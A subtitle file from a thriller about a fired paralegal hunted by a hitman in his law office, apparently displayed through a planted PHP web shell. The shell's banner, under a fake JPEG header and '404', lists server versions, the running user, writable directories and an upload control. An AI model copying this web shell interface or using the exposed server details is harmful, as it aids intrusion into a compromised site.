����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c8402787e459-1552155256.vtt
WEBVTT - https://subtitletools.com

00:01:21.415 --> 00:01:24.659
I know. I know.

00:01:35.762 --> 00:01:38.664
Hey, man. It's been a while.

00:01:39.641 --> 00:01:41.267
Land anywhere yet?

00:01:41.268 --> 00:01:44.091
- No.
- Yeah, it's tough out there.

00:01:44.479 --> 00:01:47.347
Well, they say it's coming back.

00:01:47.441 --> 00:01:49.388
Not for me, it's not.

00:01:56.116 --> 00:01:57.325
I'm sorry.

00:02:36.531 --> 00:02:38.157
Put the gun down!

00:02:38.158 --> 00:02:40.326
Somebody had to do something.

00:02:40.327 --> 00:02:42.353
Don't do it!

00:03:24.871 --> 00:03:28.207
The FDA has approved Denning
Pharmaceutical's new wonder drug.

00:03:28.208 --> 00:03:30.793
Another blockbuster quarter
for Denning Pharmaceutical...

00:03:30.794 --> 00:03:33.546
The news that the company's
new drug Prophidil,

00:03:33.547 --> 00:03:35.798
is on the fast track
to FDA approval.

00:03:35.799 --> 00:03:38.676
A major class action suit
against Denning Pharmaceutical

00:03:38.677 --> 00:03:40.886
is gaining momentum on allegations

00:03:40.887 --> 00:03:44.056
that the company had evidence
that its flagship drug, Prophidil,

00:03:44.057 --> 00:03:46.959
has potentially fatal side effects.

00:04:53.710 --> 00:04:55.544
No, I'm on my way
to the office now.

00:04:55.545 --> 00:04:57.129
You can't put yourself in danger.

00:04:57.130 --> 00:04:59.131
In danger? No, no,
I'm not in danger.

00:04:59.132 --> 00:05:01.717
The news said he worked for Denning,
isn't that the case you're on?

00:05:01.718 --> 00:05:03.135
He killed seven people.

00:05:03.136 --> 00:05:05.221
Yeah, including himself.
So, I think I'm safe.

00:05:05.222 --> 00:05:07.973
Though I think he may have ruined any
chance of my getting a promotion.

00:05:07.974 --> 00:05:09.934
- How come?
- He screwed me.

00:05:09.935 --> 00:05:11.685
- What do you mean?
- 'Cause he was our key witness.

00:05:11.686 --> 00:05:12.937
You don't have other witnesses?

00:05:12.938 --> 00:05:15.064
Yeah, but without him, the
whole case is a bust.

00:05:15.065 --> 00:05:17.358
I know, I'm not an expert, but
you wanna hear what I think?

00:05:17.359 --> 00:05:18.442
Of course, I do. Talk to me.

00:05:18.443 --> 00:05:20.945
I think you need a security detail.

00:05:20.946 --> 00:05:23.155
- Someone should make sure that you're okay.
- You're good.

00:05:23.156 --> 00:05:25.866
- Interesting, interesting.
- Will you get reassigned?

00:05:25.867 --> 00:05:28.869
I hope so, I wrote a memo on the
Gambizzi case I'm turning in today.

00:05:28.870 --> 00:05:30.329
That's great.

00:05:30.330 --> 00:05:32.164
Yeah, I should be on
Gambizzi by lunch.

00:05:32.165 --> 00:05:33.916
Mom, I gotta go, I gotta go.
I'm running late.

00:05:33.917 --> 00:05:36.740
- Love you.
- I love you too.

00:05:47.556 --> 00:05:50.099
Excuse me, sorry.
I just gotta... Sorry.

00:05:50.100 --> 00:05:52.977
I need to get through.
Thank you. Okay.

00:05:52.978 --> 00:05:55.596
Thanks.

00:06:12.372 --> 00:06:15.207
Tom. It's Monday.

00:06:15.208 --> 00:06:17.109
I knew that.

00:06:17.669 --> 00:06:20.071
- Tom.
- Janine.

00:06:20.672 --> 00:06:22.214
So what's going on in there?

00:06:22.215 --> 00:06:23.883
The servers went down in
Kansas City last night.

00:06:23.884 --> 00:06:25.968
- We lost all off-site backups.
- Oh.

00:06:25.969 --> 00:06:27.386
You're gonna be making
copies all day long.

00:06:27.387 --> 00:06:29.555
Yay, I love making copies.

00:06:29.556 --> 00:06:31.307
- Really?
- Not really. Where's Emmerich?

00:06:31.308 --> 00:06:32.516
Hmm, on the warpath.

00:06:32.517 --> 00:06:34.894
- I gotta get this to Moyers.
- Got it.

00:06:34.895 --> 00:06:36.270
Why don't you take
the scenic route?

00:06:36.271 --> 00:06:38.397
- And don't let him see you.
- I love you, Janine.

00:06:40.692 --> 00:06:42.443
- You're all set.
- I love you too, Barney.

00:06:42.444 --> 00:06:44.111
- Wish me luck.
- Good luck.

00:06:44.112 --> 00:06:46.013
Thank you.

00:06:49.034 --> 00:06:50.242
- Ooh!
- Oh!

00:06:50.243 --> 00:06:52.486
- Jefe!

00:06:52.662 --> 00:06:56.290
Donna, your lunch appointment has
arrived. She's in the waiting area.

00:06:56.291 --> 00:06:58.417
We need to update our
file on the Pamona case.

00:06:58.418 --> 00:06:59.710
Per our conversation this morning,

00:06:59.711 --> 00:07:01.837
I finally convinced Munson
to get off the dime.

00:07:01.838 --> 00:07:03.589
He's agreed to extend
an offered settlement

00:07:03.590 --> 00:07:06.091
to the amount of 1.5,
structured over three years.

00:07:06.092 --> 00:07:07.426
First payment due at signing.

00:07:07.427 --> 00:07:10.554
Tell him we'll agree to it. If he
tries to counter, shut him down.

00:07:10.555 --> 00:07:12.832
I need the Amato file.

00:07:13.767 --> 00:07:15.668
Here.

00:07:16.102 --> 00:07:18.145
Give this to Murray and
get it back to me.

00:07:18.146 --> 00:07:21.640
He's got to initial it by
noon today. Thank you.

00:07:27.280 --> 00:07:28.697
You notice I'm never late.

00:07:28.698 --> 00:07:31.283
And I've got two kids.

00:07:31.284 --> 00:07:34.903
I wondered why you had all those
pictures of children on your desk.

00:07:35.121 --> 00:07:37.364
Oh, shit!

00:07:52.055 --> 00:07:53.889
Tom!

00:07:53.890 --> 00:07:55.891
- Get this filed away.
- Yes, sir, right away.

00:07:55.892 --> 00:08:00.046
I also need 20 copies of each of these
for the Harcourt presentation tomorrow.

00:08:00.480 --> 00:08:01.814
Also... Sorry, hi.

00:08:01.815 --> 00:08:05.359
I went ahead and I included
Prophidil heart attack victims, uh,

00:08:05.360 --> 00:08:07.820
along with the stroke patients
already in the class.

00:08:07.821 --> 00:08:09.530
Case goes to trial tomorrow.

00:08:09.531 --> 00:08:12.032
Our lead witness decided to
go on a suicidal rampage

00:08:12.033 --> 00:08:13.450
at the defendant's
office on Tuesday.

00:08:13.451 --> 00:08:14.910
So I don't have time
for innovation.

00:08:14.911 --> 00:08:17.162
One motion, and it's done.

00:08:17.163 --> 00:08:19.164
And defense won't mind 'cause
they're gonna be hearing from

00:08:19.165 --> 00:08:21.750
- the heart attacks sooner or later anyway.
- Tom...

00:08:21.751 --> 00:08:25.629
We work off a 40% cut of whatever
the court awards the plaintiffs.

00:08:25.630 --> 00:08:29.409
Lifetime care cost of each
stroke victim is millions.

00:08:29.968 --> 00:08:32.970
Burial cost of your heart
attack victim is 10,000 bucks.

00:08:32.971 --> 00:08:35.180
Got it, got it.

00:08:35.181 --> 00:08:37.879
You think you're doing
the right thing, Tom.

00:08:38.184 --> 00:08:40.644
The one great aspect of
this justice system is that

00:08:40.645 --> 00:08:43.397
there is a market for
all kinds of cases.

00:08:43.398 --> 00:08:47.526
Large firms, like us, will take
care of the expensive victims.

00:08:47.527 --> 00:08:50.976
Small ones can take care
of your heart attacks.

00:08:55.744 --> 00:08:57.645
Psst! Tom!

00:08:58.204 --> 00:09:00.230
I think he likes you.

00:09:01.374 --> 00:09:02.708
It doesn't matter anyway.

00:09:02.709 --> 00:09:05.502
The case is a bust after the
whistleblower went postal.

00:09:05.503 --> 00:09:09.298
No case is a bust when you're billing
out a $12 an hour paralegal,

00:09:09.299 --> 00:09:11.216
at $65 an hour.

00:09:11.217 --> 00:09:13.302
Christ, Roger.

00:09:13.303 --> 00:09:16.581
They're only paying you
$12 an hour? Ouch!

00:09:17.724 --> 00:09:19.683
Now we'll preview the
unredacted versions...

00:09:19.684 --> 00:09:23.729
Jack, meet your client in
conference room B, please.

00:09:23.730 --> 00:09:25.064
Your memo's on Moyers' desk.

00:09:25.065 --> 00:09:28.567
Oh, you're my hero...
Heroine, heroine.

00:09:32.447 --> 00:09:34.348
This is Tom.

00:09:35.533 --> 00:09:37.605
Yes, sir, right away.

00:09:39.496 --> 00:09:42.206
Looks like I'm gonna be joining
you on the Gambizzi case.

00:09:42.207 --> 00:09:43.874
Oh, yeah? How's that?

00:09:43.875 --> 00:09:46.418
I submitted a memo this morning.

00:09:46.419 --> 00:09:49.117
Moyers wants to see
me in his office.

00:09:49.130 --> 00:09:51.048
Hey, uh, speaking of heart attacks,

00:09:51.049 --> 00:09:55.010
she is wearing the form fitted
gray thing that is just...

00:09:55.011 --> 00:09:56.720
- You're so gross, Roger.
- ...unbelievable.

00:09:56.721 --> 00:09:58.972
You gonna talk to her this time?

00:09:58.973 --> 00:10:01.625
If you do, tell her I
want my boxers back.

00:10:04.813 --> 00:10:06.714
He's ready for you.

00:10:07.190 --> 00:10:08.607
- Tom?
- Yeah.

00:10:08.608 --> 00:10:10.509
Shirt's untucked.

00:10:13.279 --> 00:10:15.647
Come in.

00:10:16.074 --> 00:10:17.199
You wanna see me, sir?

00:10:17.200 --> 00:10:19.868
Yeah, Tom, hey! Thanks for
coming. Here, take a seat.

00:10:19.869 --> 00:10:21.861
Thanks.

00:10:23.414 --> 00:10:24.665
Never been in here before.

00:10:24.666 --> 00:10:26.125
- Yeah, yeah.
- It's cool.

00:10:26.126 --> 00:10:29.461
Yeah, it's nice, huh?
225 square feet.

00:10:29.462 --> 00:10:31.255
- Nice.
- And fifth biggest office in the building.

00:10:31.256 --> 00:10:32.589
Yeah.

00:10:32.590 --> 00:10:36.135
So, Tom, this memo on Gambizzi...

00:10:36.136 --> 00:10:39.221
It's all your own work? No one
helped you or advised you?

00:10:39.222 --> 00:10:41.590
It's a fascinating case.

00:10:41.641 --> 00:10:42.808
Yes.

00:10:42.809 --> 00:10:45.602
I really feel like there's a spousal
privilege aspect to the case

00:10:45.603 --> 00:10:47.020
that's been overlooked.

00:10:47.021 --> 00:10:50.149
And so I hope the memo helps
shed some light on different...

00:10:57.657 --> 00:11:00.400
I don't understand.

00:11:00.827 --> 00:11:04.538
Tom, when you neglect the
cases that we assign you,

00:11:04.539 --> 00:11:06.248
you neglect the client.

00:11:06.249 --> 00:11:09.751
Without the client, all
of this, it disappears.

00:11:09.752 --> 00:11:11.420
Gambizzi's small fry.

00:11:11.421 --> 00:11:14.744
It's cases like Harcourt v.
Denning that keep the lights on.

00:11:15.675 --> 00:11:18.122
- I understand.
- Do you?

00:11:18.553 --> 00:11:21.054
Emmerich wants a follow-up
with you later.

00:11:21.055 --> 00:11:23.628
Awesome. Thanks.

00:11:24.517 --> 00:11:26.589
Yeah, anytime, Tom.

00:11:41.701 --> 00:11:43.702
Mr. Ryan, please hold
for Miss Higgins.

00:11:43.703 --> 00:11:46.355
Mr. Ryan, please hold
for Miss Higgins.

00:12:10.939 --> 00:12:13.512
So long, Harcourt.

00:12:44.931 --> 00:12:47.708
- Oh, hey, Thomas.
- Oh, hey, Anna.

00:12:47.767 --> 00:12:52.046
The Xerox machines in the copy
room were all occupied so I just...

00:12:52.772 --> 00:12:56.566
Oh, well, I noticed some files out of place
the other day, so can I show you those?

00:12:56.567 --> 00:12:58.889
Yeah, that's... Yeah.

00:13:04.742 --> 00:13:06.952
- You said you quit.
- Tough day.

00:13:06.953 --> 00:13:08.078
Moyers didn't like the memo?

00:13:08.079 --> 00:13:10.122
He shredded it, in front of me.

00:13:11.833 --> 00:13:14.030
Thanks for the support.

00:13:16.754 --> 00:13:18.130
How's that for support?

00:13:18.131 --> 00:13:19.298
That's a little better.

00:13:19.299 --> 00:13:20.716
The guy's a total loser.

00:13:20.717 --> 00:13:22.717
You should seriously not
care what he thinks.

00:13:22.718 --> 00:13:24.303
Yeah, I don't care what he thinks.

00:13:24.304 --> 00:13:27.707
I do care what Emmerich thinks.

00:13:29.809 --> 00:13:32.837
Now he wants to follow up
with me this afternoon.

00:13:33.229 --> 00:13:35.981
Okay. Okay, here's what you do.

00:13:35.982 --> 00:13:38.442
You apologize, you act sincere,

00:13:38.443 --> 00:13:41.721
and then you forget it
ever happened, okay?

00:13:42.989 --> 00:13:45.239
- Don't take it personally.
- I know.

00:13:45.240 --> 00:13:47.492
Listen, everyone's always gonna
have to answer to someone.

00:13:47.493 --> 00:13:48.827
Emmerich doesn't.

00:13:48.828 --> 00:13:50.912
- Ever met his wife?
- Well, that's true.

00:13:52.123 --> 00:13:55.959
Good news is I get fired, we
can stop sneaking around.

00:13:55.960 --> 00:13:58.578
You get fired, and I'm dumping you.

00:14:01.883 --> 00:14:03.784
That wasn't funny.

00:14:05.345 --> 00:14:07.679
- So not funny, not funny, not right now.
- It's kind of.

00:14:07.680 --> 00:14:09.848
Come on, babe, it's kind of funny.

00:14:09.849 --> 00:14:11.966
Come here.

00:14:13.227 --> 00:14:16.129
- You're so mean.
- Shh.

00:14:24.572 --> 00:14:27.440
I gotta get that.

00:14:28.785 --> 00:14:31.278
Hey, don't take it personally.

00:14:34.207 --> 00:14:36.324
Chin up.

00:14:44.717 --> 00:14:47.119
How many of those do they need?

00:14:52.475 --> 00:14:54.376
Hey, hey!

00:15:12.578 --> 00:15:14.479
I'm sorry.

00:15:35.393 --> 00:15:37.670
Okay, everybody listen up.

00:15:38.396 --> 00:15:43.150
RBE goes to trial against Denning
Pharmaceutical tomorrow.

00:15:43.151 --> 00:15:47.351
I don't need to remind you what a
big day it's going to be for all of us.

00:15:47.363 --> 00:15:50.615
I know how frustrating it's
been having the servers down.

00:15:50.616 --> 00:15:54.395
There's not a lot more work
we can get done tonight.

00:15:54.620 --> 00:15:57.522
I want everybody to go home.

00:16:08.134 --> 00:16:09.342
Tom.

00:16:09.343 --> 00:16:11.244
Yes, sir.

00:16:12.847 --> 00:16:16.967
The memo you wrote on Gambizzi
references the witness list.

00:16:17.393 --> 00:16:19.811
If I hadn't caught this before
all our discovery was filed,

00:16:19.812 --> 00:16:22.105
it would have been submitted
to the district clerk.

00:16:22.106 --> 00:16:24.608
That exhibit would have been
unsealed, allowing access

00:16:24.609 --> 00:16:28.570
to the names and addresses of everyone
who's turning state's evidence

00:16:28.571 --> 00:16:31.394
against the Gambizzi crime family.

00:16:32.742 --> 00:16:34.894
I'm sorry, I didn't know.

00:16:34.994 --> 00:16:36.895
You're a paralegal.

00:16:36.996 --> 00:16:40.040
There's a lot you don't know, but
I don't have a problem with that.

00:16:40.041 --> 00:16:41.875
Hmm.

00:16:41.876 --> 00:16:45.074
I do have a problem with
you acting like you do.

00:16:47.215 --> 00:16:50.083
This is your last day at RBE, Tom.

00:17:09.487 --> 00:17:13.106
Tom. I'm sorry.

00:17:28.339 --> 00:17:30.240
Sorry.

00:17:31.342 --> 00:17:34.052
- Hey, Mom.
- Babe, I'm so sorry.

00:17:34.053 --> 00:17:35.220
It's okay.

00:17:35.221 --> 00:17:37.305
Let's go get a drink tonight,
okay? Just you and me.

00:17:37.306 --> 00:17:38.390
Okay.

00:17:38.391 --> 00:17:40.475
I'm heading out now, but meet me
at Mahoney's at like 11:00, okay?

00:17:40.476 --> 00:17:42.310
Bye.

00:17:42.311 --> 00:17:44.938
- Moving back in with mom and dad?
- Something like that.

00:17:44.939 --> 00:17:46.398
- Hey, Tom.
- Barney.

00:17:46.399 --> 00:17:47.607
Sorry to hear what happened, man.

00:17:47.608 --> 00:17:49.109
Appreciate it. I'll miss you, pal.

00:17:49.110 --> 00:17:51.403
You'll always have
memories of the file room.

00:17:51.404 --> 00:17:52.821
Pass card log.

00:17:52.822 --> 00:17:55.099
She was never far behind you.

00:17:57.076 --> 00:17:58.977
What was he talking about?

00:17:59.036 --> 00:18:02.330
- I've maybe, possibly been seeing Anna.
- What?

00:18:02.331 --> 00:18:04.249
For like, three months.

00:18:04.250 --> 00:18:05.750
Oh, my God.

00:18:05.751 --> 00:18:07.377
You're not serious.

00:18:07.378 --> 00:18:08.503
Ugh!

00:18:08.504 --> 00:18:10.405
I wanna get fired.

00:18:11.465 --> 00:18:13.341
Oh, you know what?
I'll take the next one.

00:18:13.342 --> 00:18:14.551
I gotta grab something on my desk.

00:18:14.552 --> 00:18:16.761
- You want me to wait for you?
- No, no, go ahead.

00:18:16.762 --> 00:18:20.290
- Go see your secret girlfriend.
- Ha-ha.

00:18:32.820 --> 00:18:34.721
Hey.

00:20:16.048 --> 00:20:18.950
Didn't waste any time.

00:20:44.452 --> 00:20:45.577
Hey, Frank.

00:20:45.578 --> 00:20:47.787
This isn't working.
Can you swipe me up?

00:20:47.788 --> 00:20:51.066
- You got it, boss.
- I'll just leave this here for two seconds.

00:22:29.098 --> 00:22:30.557
Hey, Jefe.

00:22:30.558 --> 00:22:34.132
You didn't see a guy walking
around in a suit, did you?

00:22:34.436 --> 00:22:36.428
Yeah.

00:22:58.544 --> 00:23:01.287
What are you doing at my desk, pal?

00:23:18.564 --> 00:23:21.432
They canceled my pass card.

00:23:25.779 --> 00:23:27.655
- Hey!
- Hey, stupid pass card's not working.

00:23:27.656 --> 00:23:29.741
Oh, okay.

00:23:29.742 --> 00:23:33.987
- So you're still here?
- Yeah, yeah, I tried to leave but, uh...

00:23:34.079 --> 00:23:36.731
I just had a lot of work
I had to catch up on.

00:23:36.790 --> 00:23:39.250
Hey, you didn't see a lawyer
walking around here, did you?

00:23:39.251 --> 00:23:41.461
No. Why?

00:23:41.462 --> 00:23:44.380
What are you still doing here?

00:23:44.381 --> 00:23:47.409
- Just wanted one more look at the place.
- Oh.

00:23:48.344 --> 00:23:50.595
So what are you working on?

00:23:50.596 --> 00:23:55.558
Oh, you know what, uh, Emmerich is
really invested in that Gambizzi case.

00:23:55.559 --> 00:23:59.771
- So he's got me working here late.
- Right, right, right, right.

00:23:59.772 --> 00:24:01.719
Argh!

00:24:03.233 --> 00:24:05.026
Yep!

00:24:05.027 --> 00:24:06.444
Tom!

00:24:06.445 --> 00:24:08.517
Get this filed away.

00:24:21.627 --> 00:24:23.619
All right.

00:24:23.754 --> 00:24:25.588
I'm really gone this time.

00:24:25.589 --> 00:24:27.131
Okay.

00:24:27.132 --> 00:24:28.508
You want me to let you out?

00:24:28.509 --> 00:24:31.427
No, I'll take the scenic
route, old time's sake.

00:24:31.428 --> 00:24:33.329
All right.

00:24:34.264 --> 00:24:36.632
- Okay. Okay.
- Okay.

00:24:37.726 --> 00:24:39.435
Take care.

00:24:39.436 --> 00:24:43.215
Yeah. Don't work too hard
on that Gambizzi case.

00:25:15.723 --> 00:25:17.715
Can I help you with something?

00:25:23.147 --> 00:25:26.300
I'm with contractor services.

00:25:26.692 --> 00:25:29.060
They sent me up to fix a short.

00:25:29.194 --> 00:25:30.361
You mean building maintenance?

00:25:30.362 --> 00:25:31.612
That's it.

00:25:31.613 --> 00:25:33.614
Oh, well, no one told
me anything about it.

00:25:33.615 --> 00:25:36.267
Um, do you mind if
I see your badge?

00:25:36.493 --> 00:25:38.394
I forgot it.

00:25:40.789 --> 00:25:42.874
They called me up at last minute.

00:25:42.875 --> 00:25:45.209
I just wanna get this
done and get out of here.

00:25:45.210 --> 00:25:49.159
Oh, I'm gonna have to
call Jerry about this.

00:25:52.968 --> 00:25:54.552
Let's not bother Jerry.

00:25:54.553 --> 00:25:56.955
What did you say your name...

00:26:30.464 --> 00:26:32.840
Come on you, let's go.

00:26:32.841 --> 00:26:35.163
You're not helping, are you?

00:26:53.112 --> 00:26:55.264
Come on, Tom.

00:26:55.280 --> 00:26:56.906
Who's in there?

00:26:56.907 --> 00:26:59.275
Hello. Excuse me?

00:27:03.622 --> 00:27:05.523
Barney?

00:28:11.356 --> 00:28:12.899
How you doing in there, Barney?

00:28:12.900 --> 00:28:15.268
You wanna toss me your keys?

00:28:16.945 --> 00:28:19.643
I promise to take good care of it.

00:28:37.424 --> 00:28:42.079
Okay, I'll have these.
Thank you, Barney.

00:28:59.279 --> 00:29:01.226
Stay there.

00:29:56.628 --> 00:29:57.795
- Tom!
- Roger.

00:29:57.796 --> 00:29:59.213
- What are you still doing here?
- Keep your voice down.

00:29:59.214 --> 00:30:00.548
- Keep my voice down?
- There's a guy

00:30:00.549 --> 00:30:01.924
on the floor, he just
killed Janine and Barney.

00:30:01.925 --> 00:30:03.009
What are you talking about?

00:30:03.010 --> 00:30:04.302
Roger, we gotta go. We
gotta get out of here.

00:30:04.303 --> 00:30:05.678
Okay, well, what did he look like?

00:30:05.679 --> 00:30:08.347
I don't know. Six foot,
180, he's wearing a suit.

00:30:08.348 --> 00:30:10.670
That's everyone in this city.

00:30:43.008 --> 00:30:45.785
It's dead.

00:30:55.520 --> 00:30:57.637
Janine.

00:31:03.070 --> 00:31:04.737
Shit!

00:31:04.738 --> 00:31:07.323
Shit! We're trapped.

00:31:07.324 --> 00:31:10.368
Look, he doesn't know we're here. Worst
case scenario, we hide out till he leaves.

00:31:10.369 --> 00:31:13.442
Worst case scenario is he
finds us and kills us.

00:31:15.540 --> 00:31:16.342
Get on a computer...

00:31:16.343 --> 00:31:18.946
- see if you can get online or something.
- Okay.

00:31:46.446 --> 00:31:49.144
- Tom, the Internet...
- Shut up!

00:32:53.138 --> 00:32:55.514
Okay, here's the plan.

00:32:55.515 --> 00:32:57.975
Take the long route around to
the far side of the bullpen.

00:32:57.976 --> 00:32:59.477
Get to your desk, call the cops.

00:32:59.478 --> 00:33:00.936
- What are you gonna do?
- I'm gonna find Emmerich.

00:33:00.937 --> 00:33:02.480
No, listen to me.

00:33:02.481 --> 00:33:05.316
Forget Emmerich. Forget doing
the right thing for once.

00:33:05.317 --> 00:33:06.609
He wouldn't save us.

00:33:06.610 --> 00:33:08.861
- God damn it...
- Roger, will you shut up and listen to me?

00:33:08.862 --> 00:33:10.696
None of that matters now, okay?

00:33:10.697 --> 00:33:12.823
You have kids at home,
keep it together.

00:33:12.824 --> 00:33:14.725
Let's go.

00:33:21.625 --> 00:33:23.334
Give me this.

00:33:25.462 --> 00:33:28.330
Hey, hey, hey!

00:33:28.340 --> 00:33:31.008
This isn't how I thought my
day was going to go, either.

00:33:31.009 --> 00:33:34.720
So you're gonna take the one pass card
we have, you're gonna find a phone,

00:33:34.721 --> 00:33:37.014
I'm gonna get Emmerich, and we're
gonna get out of here, okay?

00:33:37.015 --> 00:33:38.807
- Okay.
- Okay?

00:33:38.808 --> 00:33:40.755
- Okay.
- Okay.

00:34:06.044 --> 00:34:08.617
Where'd you go?

00:34:22.310 --> 00:34:23.811
Hi, honey.

00:34:23.812 --> 00:34:26.647
- Sarah, hey. It's me, listen, honey...
- Excuse me, sir.

00:34:26.648 --> 00:34:28.900
Honey, do you want me to
keep your dinner warm?

00:34:28.901 --> 00:34:30.901
Hold on a second.

00:34:30.902 --> 00:34:32.736
Yes?

00:34:32.737 --> 00:34:34.530
I'm with building maintenance.

00:34:34.531 --> 00:34:36.365
How long do you think
you're gonna be?

00:34:36.366 --> 00:34:38.617
Okay, um... Thanks
for letting me know.

00:34:38.618 --> 00:34:41.120
- I'm just on the phone right now.
- I'll wait.

00:34:41.121 --> 00:34:44.149
Guys, quiet. I'm
talking to your dad.

00:34:45.542 --> 00:34:48.127
- Are you okay?
- Hey! No, I'm fine.

00:34:48.128 --> 00:34:52.256
I'm, uh... I'm at the
office and uh...

00:34:52.257 --> 00:34:54.091
I'm with someone right now.

00:34:54.092 --> 00:34:56.468
You got any idea how many other
people are working late tonight?

00:34:56.469 --> 00:34:57.595
- Hey, honey...
- Sir?

00:34:57.596 --> 00:35:00.222
Oh, Elaine and Mike invited us to
go to the lake again on Saturday.

00:35:00.223 --> 00:35:02.016
What do you want me to say to them?

00:35:02.017 --> 00:35:04.602
Need to make sure nobody's trapped.

00:35:04.603 --> 00:35:06.846
I'm out of excuses.

00:35:23.079 --> 00:35:27.249
Oh, your books from Amazon came
in today. They only sent two.

00:35:27.250 --> 00:35:30.377
Tell her you've been held up late
in office. You'll be home late.

00:35:30.378 --> 00:35:33.372
- They didn't send the restaurant guide.
- Hey, I'm, uh...

00:35:33.590 --> 00:35:37.460
I'm just stuck at the office,
I'm gonna be a little late.

00:35:42.515 --> 00:35:46.352
Tell her everything's fine.
Kiss the kids night-night.

00:35:46.353 --> 00:35:48.103
Are you sure everything's okay?

00:35:48.104 --> 00:35:52.133
No, no. Everything's
fine. Uh, just...

00:35:52.192 --> 00:35:55.028
- Kiss the kids goodnight for me.
- Okay, well...

00:35:55.029 --> 00:35:57.880
Don't forget to tell
her you love her.

00:35:59.366 --> 00:36:00.949
I love you, baby.

00:36:00.950 --> 00:36:04.350
- I love you too, honey.
- Now hang up and put the phone on the desk.

00:36:18.218 --> 00:36:21.541
Oh, please. Please...

00:36:22.931 --> 00:36:25.474
I didn't see anything. I...

00:36:25.475 --> 00:36:30.255
Is anybody else
working late tonight?

00:36:32.691 --> 00:36:35.889
No, no, it was... It's just me.

00:36:36.194 --> 00:36:38.971
Good. Good.

00:37:22.240 --> 00:37:24.141
Roger?

00:37:55.482 --> 00:37:57.679
Come on, come on, come on.

00:37:59.652 --> 00:38:01.779
What the...

00:38:01.780 --> 00:38:03.447
Ugh.

00:38:03.448 --> 00:38:06.033
Come on. Come on.

00:38:06.034 --> 00:38:08.527
Oh, goddamn iPhones.

00:38:18.797 --> 00:38:21.699
Oh, you've got to be kidding me.

00:39:23.194 --> 00:39:25.654
I need to talk to you,

00:39:25.655 --> 00:39:27.447
you have a problem.

00:39:27.448 --> 00:39:29.645
Call me back.

00:39:30.660 --> 00:39:32.561
Immediately.

00:39:51.097 --> 00:39:52.180
Shit.

00:39:59.898 --> 00:40:02.316
We have a situation.

00:40:02.317 --> 00:40:05.185
Nobody was supposed to be up here.

00:40:05.403 --> 00:40:06.945
Three.

00:40:06.946 --> 00:40:09.393
And the one we spoke about.

00:40:11.451 --> 00:40:13.076
I'll be in touch when it's done.

00:41:22.647 --> 00:41:24.799
Tom?

00:41:28.778 --> 00:41:31.021
Tom.

00:41:33.741 --> 00:41:36.359
Tom.

00:41:45.294 --> 00:41:49.506
You think this is a big office,
Tom, but it's about to get really,

00:41:49.507 --> 00:41:52.455
really small.

00:41:53.928 --> 00:41:55.554
There's only one way out.

00:41:58.558 --> 00:42:00.459
And I've got the key.

00:42:01.602 --> 00:42:04.630
I will find you, Tom.

00:42:05.189 --> 00:42:06.982
I'll find you.

00:42:06.983 --> 00:42:11.278
If I have to burn this
place to the ground,

00:42:11.279 --> 00:42:13.989
I will find you.

00:42:59.952 --> 00:43:01.853
Come on.

00:43:02.205 --> 00:43:04.106
Hey.

00:44:02.974 --> 00:44:06.017
Yes, come on, come on. Pick up
the phone, pick up the phone!

00:44:06.018 --> 00:44:08.044
Call the cops.

00:44:31.669 --> 00:44:33.211
Wait.

00:44:33.212 --> 00:44:35.910
I got it, I got it.

00:44:35.923 --> 00:44:38.633
There, look, "9-1-1".

00:44:38.634 --> 00:44:40.719
I got it, yes.

00:44:40.720 --> 00:44:43.138
Yes, I'm going to shoot
that kid in the face.

00:44:43.139 --> 00:44:46.087
Yes, I am. Yes.

00:45:50.414 --> 00:45:52.315
Come on.

00:45:54.126 --> 00:45:56.073
Oh, come on.

00:46:18.943 --> 00:46:20.652
Yes, yeah.

00:46:20.653 --> 00:46:22.554
Come on, come on.

00:46:23.489 --> 00:46:25.390
Yeah!

00:46:42.591 --> 00:46:44.492
Got you.

00:47:11.954 --> 00:47:13.901
Here goes nothing.

00:47:24.175 --> 00:47:26.551
- Tom.
- Thank Christ.

00:47:26.552 --> 00:47:27.635
Give me your cell phone.

00:47:27.636 --> 00:47:29.763
- What... What's going on?
- Excuse me, do you have a cell phone?

00:47:29.764 --> 00:47:31.264
- Tom.
- We have to call the cops.

00:47:31.265 --> 00:47:32.515
- Tom!
- There's a guy on the floor with a gun.

00:47:32.516 --> 00:47:34.726
He killed three people. Can
you hurry up and call 9-1-1?

00:47:34.727 --> 00:47:36.311
You said I'd be safe!

00:47:36.312 --> 00:47:39.089
Shit.

00:47:43.444 --> 00:47:45.904
- Alan Z. Emmerich?
- Oh, God!

00:47:45.905 --> 00:47:48.398
Please, don't.

00:47:48.908 --> 00:47:53.111
One of your employees, Tom,
reprogramed the cards.

00:47:56.332 --> 00:47:58.833
Please tell me there's another
card reader on this floor.

00:47:58.834 --> 00:48:01.782
I don't believe so, no.

00:48:03.756 --> 00:48:05.423
Oh...

00:48:05.424 --> 00:48:10.795
This lawyer has started to seriously
affect my ability to do my job.

00:48:11.013 --> 00:48:12.389
He's just a paralegal.

00:48:12.390 --> 00:48:14.542
Let him go, he's nobody.

00:48:32.535 --> 00:48:35.529
Do not leave this office.

00:48:55.599 --> 00:48:57.671
Who is she?

00:48:58.310 --> 00:49:00.632
Lorraine Gambizzi.

00:49:02.064 --> 00:49:04.432
Gambizzi's wife?

00:49:05.609 --> 00:49:09.353
She was testifying
against her husband?

00:49:09.530 --> 00:49:11.698
That's why he's here.

00:49:11.699 --> 00:49:14.192
He must be one of Gambizzi's guys.

00:49:14.368 --> 00:49:17.036
But if she's dead, why
isn't he leaving?

00:49:17.037 --> 00:49:19.905
Maybe he is.

00:49:20.040 --> 00:49:22.192
Doesn't sound like it.

00:49:36.140 --> 00:49:38.016
What is he doing?

00:49:38.017 --> 00:49:40.294
What does he want in the file room?

00:49:40.519 --> 00:49:43.188
Well, he's not gonna
get in there that way.

00:49:43.189 --> 00:49:46.649
That's reinforced steel and bulletproof
glass. That's impenetrable.

00:49:46.650 --> 00:49:50.269
So the one room where we're safe is
the room where we can't get into.

00:50:09.173 --> 00:50:11.049
It stopped.

00:50:11.050 --> 00:50:12.997
Shit.

